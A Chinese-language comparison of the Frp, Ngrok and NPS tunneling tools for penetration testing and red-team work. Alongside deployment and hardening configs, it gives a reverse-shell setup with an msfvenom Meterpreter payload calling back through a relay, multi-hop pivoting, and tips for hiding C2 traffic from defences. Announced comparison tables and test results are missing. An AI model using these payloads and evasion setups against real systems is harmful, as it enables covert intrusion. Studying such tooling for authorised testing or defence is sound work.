Frp vs Ngrok vs NPS：3款内网穿透工具在安全测试中的横向对比

Frp vs Ngrok vs NPS：安全测试场景下的内网穿透工具深度评测

1. 内网穿透技术概述与应用场景

在安全测试和渗透评估工作中，内网穿透技术扮演着至关重要的角色。这项技术本质上是通过建立加密隧道，将位于内网的服务暴露到公网可访问的位置，从而突破网络边界限制。对于安全工程师而言，它不仅是红队行动的基础设施，也是日常渗透测试中不可或缺的工具链组成部分。

典型的内网穿透应用场景包括：

• 远程漏洞验证：当测试目标位于隔离网络环境时，通过穿透建立稳定连接
• 横向移动支持：在已控制跳板机后，建立通向其他内网节点的通道
• 隐蔽通信：在红队行动中维持低可探测性的C2连接
• 应急响应：当内网系统出现故障时，提供外部访问通道进行排障

当前主流工具在技术实现上主要分为两类架构：

1. 中继转发型（如Frp/Ngrok）：依赖公网服务器进行流量转发
2. P2P直连型：在条件允许时建立端到端直连，降低延迟

以下表格对比了三款工具的基础特性：

2. 核心功能对比与实测数据

2.1 部署复杂度评估

Frp部署流程：

1. 服务端配置（以Linux为例）：

wget https://github.com/fatedier/frp/releases/download/v0.51.3/frp_0.51.3_linux_amd64.tar.gz tar -zxvf frp_0.51.3_linux_amd64.tar.gz cd frp_0.51.3_linux_amd64

编辑frps.ini配置文件：

[common] bind_port = 7000 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = StrongPassword!

2. 客户端配置示例（Windows）：

[common] server_addr = your_server_ip server_port = 7000 [rdp] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 6000

Ngrok的快速启动优势：

./ngrok authtoken YOUR_AUTH_TOKEN ./ngrok tcp 22

注意：Ngrok的免费版本存在连接数限制和随机域名变化问题

NPS的一体化管理：

./nps install nps start

通过Web界面（默认8080端口）即可完成大部分配置，适合快速部署场景。

2.2 协议支持能力测试

在反弹Shell场景下的性能表现（测试环境：阿里云ECS 2核4G）：

Socks5代理配置示例（Frp）：

[plugin_socks] type = tcp remote_port = 1080 plugin = socks5 plugin_user = proxyuser plugin_passwd = ProxyPass123

2.3 安全特性分析

三款工具在安全防护方面的关键差异：

1. 认证机制：

   • Frp：支持Token认证+STCP加密隧道
   • Ngrok：OAuth 2.0+HTTPS加密
   • NPS：多因素认证+IP白名单

2. 日志审计：

   # Frp日志分析示例 grep "unauthorized" frps.log | awk '{print $1}' | sort | uniq -c

3. 漏洞历史：

   • CVE-2022-39946（Frp v0.44.0前的RCE漏洞）
   • Ngrok的SSRF防护缺陷（2023年修复）
   • NPS的Web控制台CSRF漏洞（v0.26.5前版本）

3. 典型场景配置实战

3.1 反弹Shell实现对比

Frp方案：

1. 服务端开启端口：

./frps -c frps.ini

2. 客户端配置：

[reverse_shell] type = tcp local_ip = 127.0.0.1 local_port = 4444 remote_port = 6001

3. 生成Payload：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=frp_server LPORT=6001 -f elf -o shell.elf

Ngrok的局限性：

# 只能转发已有服务，需配合其他工具使用 ./ngrok tcp 4444

3.2 多层内网穿透方案

复杂网络环境下的组合应用：

1. 第一层跳板（Frp）：

[gateway] type = tcp local_ip = 192.168.1.100 local_port = 2222 remote_port = 7001

2. 第二层穿透（NPS）：

./npc -server=frp_server:8024 -vkey=inner_key

3. 流量路由示意图：

外部攻击者 → Frp公网节点 → 第一层跳板机 → NPS客户端 → 目标内网

3.3 隐蔽性增强技巧

1. 域名伪装（Frp）：

[http_proxy] type = http local_port = 8080 custom_domains = api.example.com

2. 流量混淆（NPS）：

./npc -server=your_server -vkey=your_key -t=tls -compress=true

3. 端口复用：

# 使用80端口同时承载正常Web和穿透流量 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

4. 技术选型建议与优化策略

4.1 工具选择决策树

根据项目需求选择最合适的工具：

1. 需要快速临时通道→ Ngrok
2. 企业级稳定穿透→ NPS
3. 自定义协议支持→ Frp
4. 高隐蔽性要求→ Frp+STCP
5. 集中管理需求→ NPS

4.2 性能调优参数

Frp的高性能配置示例：

[common] tcp_mux = true max_pool_count = 10 heartbeat_timeout = 90

NPS的负载均衡配置：

./nps -config=./conf/nps.conf -http_proxy=8080 -https_proxy=8443 -bridge_port=8024

4.3 安全加固方案

1. 网络层防护：

# 仅允许特定IP访问管理端口 iptables -A INPUT -p tcp --dport 7500 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 7500 -j DROP

2. 应用层防护：

# Frp服务端安全配置 [common] authentication_method = token token = ComplexToken_2024! allow_ports = 6000-6010

3. 监控与告警：

# 异常连接检测脚本 netstat -antp | grep frps | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

在实际渗透测试项目中，我们曾遇到某金融企业内网采用双因素认证+网络微隔离的环境。通过Frp的STCP模式建立加密隧道，配合NPS的Socks5代理功能，最终实现了对核心业务系统的安全评估，整个过程未被防御系统阻断。这验证了合理配置的内网穿透工具在复杂环境下的有效性。